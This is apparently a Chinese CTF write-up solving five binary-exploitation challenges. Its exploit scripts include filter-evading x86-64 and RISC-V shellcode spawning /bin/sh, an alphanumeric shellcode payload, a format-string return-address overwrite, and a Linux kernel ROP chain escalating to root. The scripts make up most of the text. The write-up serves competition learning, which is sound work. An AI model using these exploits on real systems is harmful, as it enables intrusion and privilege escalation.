PWN
上去看的时候队里的师傅都已经把PWN都打穿了,挑几题补了一下
SCAAS
没给附件,nc连上去之后第一个选项可以下载 base64
编码之后的附件
下载附件脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *from base64 import b64decodefd = open ('chall' , 'wb' ) p = remote('scaas-1.play.hfsc.tf' , 1337 ) p.sendlineafter(' > ' , '1' ) p.recvuntil('Here is your SCAAS service: (\n' ) data = '' code = '' while True : data = p.recvuntil('\n' , drop = True ) if data == ')' : break code += data code = b64decode(code) fd.write(code) fd.close()
附件下载到本地后发现是gzip压缩文件,用下面的命令解压后得到一个ELF文件
1 mv chall chall.gz && gunzip chall.gz
接下来就可以用ida分析它了
程序主要功能类似于一个菜单,第一个选项会调用我们之前用来下载附件的函数;第二个选项调用 unlock_serivce
,函数内若判断都满足则会调用 scaas
函数,而 scaas
函数里可以执行我们输入的 shellcode
。所以目标就是绕过前面的判断进入到 scaas
函数里执行 shellcode
第一个用于判断的函数
允许输入5次,分别赋值到 password_one
数组0~4下标的位置,也就分别是 password_one
,dword_4084
,dword_4088
,dword_408C
,dword_4090
的位置(后面两个用于判断的函数也一样。所以只需要按返回时的那几个判断分别给这几个变量赋值相应的数字即可
第二个用于判断的函数
dword_409C + 456 == dword_40A0
令 dword_409C = 262505 - 456
即可, dword_40A4 % 694u == 1
直接令 dword_40A4
等于1即可。对于 password_two[0]
,需要写脚本计算出它的值
1 2 3 4 5 6 7 8 9 #include <stdio.h> int main () { unsigned int i = 0 ; for (; i < 0xffffffff u; i++) { if (1318 * i % 3272451 == 4425 ) break ; } printf ("password_two[0] = %d\n" , i); }
这里其实用z3解也可以,但是z3到了第三个判断函数的时候就好像不行了(不太会z3
第三个用于判断的函数
!(dword_40B8 % 1445u)
直接令 dword_40B8 = 0
即可,其他解法同上,解 password_three[0]
脚本
1 2 3 4 5 6 7 8 9 #include <stdio.h> int main () { unsigned int i = 0 ; for (; i < 0xffffffff u; i++) { if (8511 * i % 0x2B27EA u == 24486 ) break ; } printf ("password_three[0] = %d\n" , i); }
这里用z3解的话解出的结果是不能通过判断的(个人猜测是因为 8511 * password_three[0]
在求解过程中的值太大造成了 unsigned int
的整数溢出导致结果不正确)
三个判断都绕过后,就可以进入 scaas
函数了。函数内允许输入最大500字节的 shellcode
,但会检查 shellcode
是否全部由字母或数字构成,若是则会执行输入的 shellcode
这里用alpha3 生成所需的 shellcode
:
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *io = remote('scaas-1.play.hfsc.tf' , 1337 ) context.binary = 'chall' sla = lambda a, b : io.sendlineafter(a, b) ia = lambda : io.interactive() sla(' > ' , '2' ) sla(': ' , '9530624' ) sla(': ' , '7370775' ) sla(': ' , '1' ) sla(': ' , '8653762' ) sla(': ' , '8987274' ) sla(': ' , '1243932' ) sla(': ' , '3103430' ) sla(': ' , str (262505 - 456 )) sla(': ' , '262505' ) sla(': ' , '1' ) sla(': ' , '2124890' ) sla(': ' , '9874561' ) sla(': ' , str (6280405 + 3274 + 4728 )) sla(': ' , '6280405' ) sla(': ' , '0' ) sla('Run SCAAS (alphanumeric shellcode, max 500 bytes): ' , 'hffffk4diFkTpj02Tpk0T0AuEE2O0Z2G7O0u7M041o1P0R7L0Y3T3C1l000n000Q4q0f2s7n0Y0X020e3j2r1k0h0i013A7o4y3A114C1n0z0h4k4r0s' ) ia()
SPD A
程序会读入最多 0x1000
个字节的 shellcode
,当 shellcode
满足下图中if的判断条件时,会执行 shellcode
执行 shellcode
的那一段代码不知道为什么没有反编译出来
这段汇编代码中, [rbp+buf]
刚好是 shellcode
的地址,将该地址压栈并重置 rax ~ r15
寄存器后, retn
会直接跳转到 shellcode
的地址执行 shellcode
对 shellcode
的检查中, shellcode
不能出现 '\x2f'
, '\x62'
, '\x69'
, '\x6e'
, '\x73'
, '\x68'
这些字符,而这些刚好是构成 '/bin/sh'
的字符,所以需要先输入一个合法的字符串,然后通过 xor
构造出 '/bin/sh'
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *io = process('./spd_a' ) context.binary = 'spd_a' sa = lambda a, b : io.sendafter(a, b) ia = lambda : io.interactive() sc = ''' push 0x3b pop rax mov rbx, 0x0167722e6d68612e push rbx push rsp pop rdi mov rbx, 0x10f010103010301 xor [rdi], rbx xor rsi, rsi xor rdx, rdx syscall ''' sc = asm(sc) sa('c0de: ' , sc) ia()
SPD B
三次格式化字符串的机会,第一次泄露 stack
和 elf
的地址,第二次修改 scanf
的一参为 %s
使其可以读入足够长的 printf
格式化字符串参数,第三次修改返回地址为 shell
函数
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *io = process('./spd_b' ) context.binary = 'spd_b' ru = lambda x : io.recvuntil(x, drop = True ) sla = lambda a, b : io.sendlineafter(a, b) ia = lambda : io.interactive() pie_os = lambda x : pie_base + x lg = lambda x : info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (x, eval (x))) sla('guess: ' , '%1$p,%3$p' ) stack_addr = int (ru(',' ), 16 ) ret_addr = stack_addr - (0xffa5157c - 0xffa514dc ) - (0xffc365e0 - 0xffc3666c ) lg('ret_addr' ) fmt_addr = ret_addr - (0xfff151d0 - 0xfff15314 ) pie_base = int (ru(' is' ), 16 ) - (0x565f5311 - 0x565f4000 ) lg('pie_base' ) backdoor = pie_os(0x0000138D ) lg('fmt_addr' ) pld = flat([ '%' , str (u16('%s' )), 'c' , '%40$n' ]) lg('len(pld)' ) sla('guess: ' , pld) pld = flat([ ret_addr, '%' , str (int (hex (backdoor - 4 )[-2 :], 16 )), 'c' , '%4$hhn' ]) sla('guess: ' , pld) ia()
SPD C
riscv64
架构,ida好像反编译不出来
github
上面找到一个貌似可以用来反编译 riscv64
的ida插件ida_riscv ,结果还是寄(
跑一下发现输出和 SPD A
差不多,直接ida硬看汇编代码,然后看到这一段
于是猜测除了架构之外其他都和 SPD A
一样,也是输入一段 shellcode
在检测合法性后执行 shellcode
,甚至连ban掉的非法字符都是一样的
riscv64
架构汇编指令的入门学习参考 xuanxuan
师傅的这篇文章
对于这道题来说,其实只要看懂这段汇编 shellcode
就够了
1 2 3 4 5 6 7 8 9 10 11 .global _start .text _start: li s1, 0x68732f2f6e69622f # Load "/bin//sh" backwards into s1 sd s1, -16(sp) # Store dword s1 on the stack sd zero, -8(sp) # Store dword zero after to terminate addi a0,sp,-16 # a0 = filename = sp + (-16) slt a1,zero,-1 # a1 = argv set to 0 slt a2,zero,-1 # a2 = envp set to 0 li a7, 221 # execve = 221 ecall # Do syscall
关键在于前三句,也就是把 "/bin/sh"
字符串储存到栈上过程。第一句是把 "/bin/sh"
储存到 s1
寄存器上,第二句是把 s1
寄存器的值(即 "/bin/sh"
)储存在栈上相对 sp
寄存器偏移-16的位置,第三句在该字符串后面补 '\x00'
所以只需要修改存入 s1
寄存器的值,将合法的字符存进去,再利用 xor
把它修改为 "/bin/sh"
即可
修改后的汇编代码
1 2 3 4 5 6 7 8 9 10 11 12 13 .global _start .text _start: li s1, 0x0167722e6d68612e # Load "/bin//sh" backwards into s1 li s2, 0x10f010103010301 xor s1, s1, s2 sd s1, -16(sp) # Store dword s1 on the stack sd zero, -8(sp) # Store dword zero after to terminate addi a0,sp,-16 # a0 = filename = sp + (-16) slt a1,zero,-1 # a1 = argv set to 0 slt a2,zero,-1 # a2 = envp set to 0 li a7, 221 # execve = 221 ecall # Do syscall
用如下命令将生成的 shellcode
存放在 execve.text
文件中
1 2 3 $ riscv64-linux-gnu-gcc shellcode.s -c $ riscv64-linux-gnu-ld shellcode.o -o shellcode $ riscv64-linux-gnu-objcopy -O binary --only-section=.text shellcode execve.text
将生成的 shellcode
以python字符串形式输出(其实直接打开 execve.text
文件将 shellcode
读进来然后发送就可以了,但这里我还是稍微写详细一点吧
1 2 3 4 5 6 7 8 9 10 fd = open ('execve.text' , 'r' ) sc = fd.read() fd.close() sc_str = '' for i in sc: sc_str += '\\x' + hex (ord (i))[2 :].rjust(2 , '0' ) print 'sc = \'' + sc_str + '\''
exp
1 2 3 4 5 6 7 8 9 10 11 from pwn import *io = process('./spd_c' ) sa = lambda a, b : io.sendafter(a, b) ia = lambda : io.interactive() sc = '\xb7\x44\x0b\x00\x9b\x84\x14\xb9\xb2\x04\x93\x84\x74\x73\xb2\x04\x93\x84\x34\xb4\xb6\x04\x93\x84\xe4\x12\x37\x09\x0f\x01\x1b\x09\x19\x10\x42\x09\x13\x09\x19\x30\x42\x09\x13\x09\x19\x30\xb3\xc4\x24\x01\x23\x38\x91\xfe\x23\x3c\x01\xfe\x13\x05\x01\xff\x93\x25\xf0\xff\x13\x26\xf0\xff\x93\x08\xd0\x0d\x73\x00\x00\x00' sa('c0de: ' , sc) ia()
SPD D
kernel栈溢出,没开 kaslr
和 smap/smep
vuln_write
函数里, copy_from_user
函数的第二、三个参数都可以控制,所以直接 kernel ROP
或者 ret2usr
执行 commit_creds(prepare_kernel_cred(0))
后返回到用户态 getshell
即可
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> size_t user_cs, user_ss, user_rflags, user_sp;size_t commit_creds = 0 , prepare_kernel_cred = 0 ;void log_info (char *msg, size_t val) { if (val != -1 ) { printf ("\033[32m\033[1m[+] %s:\033[0m 0x%lx\n" , msg, val); } else { printf ("\033[32m\033[1m[+] %s\033[0m\n" , msg); } } void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); log_info("Status has been saved." , -1 ); } void get_shell () { if (getuid()) { log_info("Failed to get the root!" , -1 ); exit (-1 ); } log_info("Successful to get the root. Execve root shell now..." , -1 ); system("/bin/sh" ); exit (0 ); } int main () { save_status(); commit_creds = 0xffffffff81055f00 ; prepare_kernel_cred = 0xffffffff81055db0 ; size_t swapgs_pop_rbp = 0xffffffff81400cdc ; size_t iretq_pop_rbp = 0xffffffff8101bb0a ; size_t pop_rdi = 0xffffffff811dbdec ; size_t pop_rdx = 0xffffffff810daae2 ; size_t mov_rdi_rax_call_rdx = 0xffffffff812c324a ; int fd = open("/dev/vuln" , 2 ); if (fd < 0 ) { log_info("/dev/vuln open failed" , -1 ); } int i = 0x108 /8 ; size_t rop[0x300 ] = {0 }; rop[i++] = pop_rdi; rop[i++] = 0 ; rop[i++] = prepare_kernel_cred; rop[i++] = pop_rdx; rop[i++] = pop_rdx; rop[i++] = mov_rdi_rax_call_rdx; rop[i++] = commit_creds; rop[i++] = swapgs_pop_rbp; rop[i++] = 0 ; rop[i++] = iretq_pop_rbp; rop[i++] = (size_t )get_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd, rop, i * 8 ); }